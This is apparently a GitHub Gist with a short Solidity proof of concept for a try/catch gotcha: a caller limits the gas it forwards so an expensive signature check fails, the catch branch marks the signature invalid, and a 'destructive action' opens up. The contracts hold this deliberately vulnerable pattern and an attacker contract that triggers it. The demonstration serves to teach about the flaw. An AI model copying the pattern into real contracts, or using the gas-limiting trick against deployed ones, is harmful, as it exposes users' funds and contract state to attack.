Last active
July 2, 2023 14:28
-
-
Save cleanunicorn/c0ecbd76565d623dd54297636c7ef1f7 to your computer and use it in GitHub Desktop.
Proof of concept for try/catch gotcha explained here https://twitter.com/cleanunicorn/status/1574808522130194432
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract SignatureChecker { | |
uint256[] list; | |
// This method does something expensive | |
function validateSignature(bytes memory b_) public { | |
for (uint i = 0; i < 100; i++) { | |
list.push(i); | |
} | |
for (uint i = 0; i < 100; i++) { | |
list.pop(); | |
} | |
} | |
} | |
contract ValidateAction { | |
event SignatureValid(); | |
event SignatureInvalid(); | |
SignatureChecker sc; | |
bool SignatureChecker_valid; | |
constructor() { | |
sc = new SignatureChecker(); | |
} | |
function check(bytes memory b_) public { | |
try sc.validateSignature(b_) { | |
emit SignatureValid(); | |
SignatureChecker_valid = true; | |
} catch { | |
emit SignatureInvalid(); | |
SignatureChecker_valid = false; | |
} | |
} | |
function removeSignatureCheckerIfInvalid() public { | |
if (SignatureChecker_valid == false) { | |
// do destructive action | |
} | |
} | |
} | |
contract CallValidate { | |
ValidateAction va = new ValidateAction(); | |
function proofOfConcept(uint256 gas_) public { | |
va.check{gas: gas_}("any byte string"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment